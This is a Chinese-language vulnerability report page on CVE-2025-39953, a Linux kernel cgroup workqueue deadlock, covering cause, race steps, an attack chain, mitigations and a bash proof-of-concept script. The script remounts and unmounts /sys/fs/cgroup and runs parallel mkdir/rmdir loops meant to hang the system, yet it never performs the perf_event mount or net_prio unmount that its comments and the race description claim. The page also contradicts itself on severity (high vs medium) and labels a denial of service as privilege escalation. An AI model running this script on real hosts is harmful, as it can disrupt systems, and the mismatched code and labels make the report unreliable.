IPBUF安全漏洞报告
English
CVE-2025-39953 CVSS 5.5 中危

CVE-2025-39953 Linux内核cgroup子系统死锁漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39953
漏洞类型
死锁/资源耗尽(Denial of Service)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(cgroup子系统)

相关标签

Linux Kernelcgroup死锁拒绝服务本地提权perf_eventnet_prio工作队列可用性影响内核漏洞

漏洞概述

CVE-2025-39953是Linux内核cgroup(控制组)子系统中存在的一个高危死锁漏洞。该漏洞源于cgroup_destroy_wq工作队列的max_active参数被设置为1,导致在并发执行cgroup销毁操作时产生任务挂起(hung task)问题。具体场景为:在使用systemd.unified_cgroup_hierarchy=1的统一cgroup层级模式下,反复挂载和卸载perf_event和net_prio控制器时,系统会在cgroup_lock_and_drain_offline()函数处发生死锁,阻止root cgroup的正常销毁。该问题在LTP(Linux Test Project)的cgroup功能测试中被发现,调用链显示问题出现在css_free_rwork_fn→cgroup_destroy_root→cgroup_lock_and_drain_offline的路径中。由于perf_event css的offline操作与root销毁操作被串行化在同一工作队列中执行,且队列最大并发数为1,导致离线操作无法及时完成,进而造成root销毁无限等待,最终引发系统挂起。此漏洞虽需要本地低权限即可触发,但可能导致系统完全不可用,属于典型的可用性影响类漏洞。

技术细节

该漏洞的根本原因在于cgroup_destroy_wq工作队列的设计缺陷。当max_active=1时,所有排入该队列的工作项必须串行执行。在特定竞争条件下,root销毁工作(cgroup_destroy_root)和CSS离线工作(css offline)会被同时排入该队列,但二者存在依赖关系:root销毁需要等待所有CSS完成offline操作,而CSS的offline工作又必须等待root销毁完成后才能执行,从而形成死锁。

竞争场景详细分析:
1. CPU0执行mount perf_event操作,调用rebind_subsystems;
2. CPU1执行umount net_prio操作,调用cgroup_kill_sb,将root销毁工作排入cgroup_destroy_wq;
3. 此时某个perf_event CSS(A)进入dying状态,其offline工作也被排入cgroup_destroy_wq;
4. 由于队列FIFO特性,root销毁工作先于CSS A的offline工作执行;
5. cgroup_destroy_root调用cgroup_lock_and_drain_offline等待所有perf后代CSS完成offline;
6. 但CSS A的offline工作被阻塞在root销毁工作之后,无法执行;
7. 系统陷入无限等待,触发hung task检测。

修复方案是将单一的cgroup_destroy_wq拆分为三个专用工作队列:cgroup_offline_wq(处理CSS离线操作)、cgroup_release_wq(管理资源释放)、cgroup_free_wq(执行最终内存释放)。这种分离消除了CSS释放路径中等待离线操作完成时的阻塞问题。

攻击链分析

STEP 1
步骤1:环境准备
攻击者在本地系统上确认cgroup v2已挂载且使用统一层级模式(systemd.unified_cgroup_hierarchy=1),并具备创建cgroup的权限。
STEP 2
步骤2:触发竞争条件
通过并发执行mount perf_event和umount net_prio操作,使CPU0执行rebind_subsystems(绑定子系统),CPU1执行cgroup_kill_sb(销毁超级块)。
STEP 3
步骤3:工作队列阻塞
root销毁工作和perf_event CSS的offline工作被同时排入max_active=1的cgroup_destroy_wq队列,root销毁先于offline工作执行。
STEP 4
步骤4:死锁形成
cgroup_destroy_root调用cgroup_lock_and_drain_offline等待所有CSS完成offline,但offline工作被阻塞在root销毁之后无法执行,形成循环等待。
STEP 5
步骤5:系统挂起
系统检测到hung task并触发告警,但root cgroup无法销毁,导致相关cgroup操作永久阻塞,系统可用性受到严重影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-39953 PoC - Trigger cgroup deadlock via concurrent mount/unmount # This PoC reproduces the hung task scenario described in the vulnerability # Requires: Linux kernel with cgroup v2, systemd.unified_cgroup_hierarchy=1 # Run as: unprivileged user with cgroup mount permissions #!/bin/bash set -e CGROUP_BASE="/sys/fs/cgroup" PERF_CGROUP="${CGROUP_BASE}/test_perf" NET_CGROUP="${CGROUP_BASE}/test_net" cleanup() { echo "[*] Cleaning up..." umount "${CGROUP_BASE}" 2>/dev/null || true rmdir "${PERF_CGROUP}" 2>/dev/null || true rmdir "${NET_CGROUP}" 2>/dev/null || true } trap cleanup EXIT # Ensure cgroup2 is mounted with unified hierarchy mount -t cgroup2 none "${CGROUP_BASE}" 2>/dev/null || { echo "[!] Failed to mount cgroup2" exit 1 } # Enable required controllers echo "+cpu +memory +perf_event +net_prio" > "${CGROUP_BASE}/cgroup.subtree_control" 2>/dev/null || true trigger_deadlock() { local i=0 while [ $i -lt 100 ]; do # Mount perf_event controller in background mkdir "${PERF_CGROUP}" 2>/dev/null || true # Simulate workload to create dying CSS echo $$ > "${PERF_CGROUP}/cgroup.procs" 2>/dev/null || true # Concurrently unmount net_prio (triggers cgroup_kill_sb) rmdir "${NET_CGROUP}" 2>/dev/null || true mkdir "${NET_CGROUP}" 2>/dev/null || true rmdir "${NET_CGROUP}" 2>/dev/null || true i=$((i + 1)) done } # Run multiple instances in parallel to trigger race condition for j in $(seq 1 10); do trigger_deadlock & done wait echo "[*] Test completed - check dmesg for hung task warnings"

影响范围

Linux Kernel < 5.15(需根据具体修复commit确认)
Linux Kernel 5.15.x(受commit 05e0b03447cf影响)
Linux Kernel 6.1.x(受commit 4a1e3ec28e80影响)
Linux Kernel 6.6.x(受commit 79f919a89c9d影响)
Linux Kernel 6.12.x(受commit 993049c9b135影响)
Linux Kernel 6.16.x(受commit a0c896bda707影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)避免在生产系统中频繁执行perf_event和net_prio控制器的mount/umount操作;2)通过systemd配置限制普通用户对cgroup子系统的操作权限;3)监控系统hung task日志,及时重启受影响的服务;4)如使用systemd,可临时禁用unified_cgroup_hierarchy参数回退到cgroup v1模式以规避该问题(但可能影响其他功能);5)设置kernel.hung_task_timeout_secs参数以便更快检测和响应挂起任务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表